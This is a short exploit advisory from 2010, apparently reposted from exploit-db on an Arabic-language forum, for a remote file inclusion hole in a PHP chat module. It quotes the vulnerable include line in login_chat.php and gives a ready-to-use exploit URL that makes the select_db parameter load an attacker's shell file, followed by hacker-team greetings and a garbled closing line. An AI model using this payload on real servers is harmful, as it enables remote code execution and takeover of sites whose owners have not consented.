كود PHP:
*# Exploit Title: php_chat Remote File inclusion Vulnerability
# Date: 2010/07/20
# Author: HaCkEr arar
# Email: [email]y.0@hotmail.de[/email]
# My Sites : [url]www.vbspiders.com[/url]
# Script home:
[url]http://www.opensourcescripts.com/dir/PHP/Chat/php_chat_module_for123_flash_chat_4902.html[/url]
# Tested on: Windows
# Team hacker:HaCkEr aRaR & ViRuS Qalaa >>>X-MaN HaCk3r TeaM
# ViRuS Qalaa: [email]em9@live.com[/email]
:::::::::::::::::::::::::
=================Exploit=================
-=[ vuln c0de ]=-
include('db/'.$select_db.'.php');
login_chat.php
Line:41
----exploit----
http://{localhost}/{path}login_chat.php?select_db=shell.txt?
---------greatz----------
Greatz to :
ViRuS Qalaa,VoLc4n0,Members [url]www.j1q1.com[/url]
and My friends Others and My friends in MSN
EnJoY o_O*
_____________________________________________________
http://www.exploit-db.com/exploits/14425/
eyvm []d]i lk i;v uvuv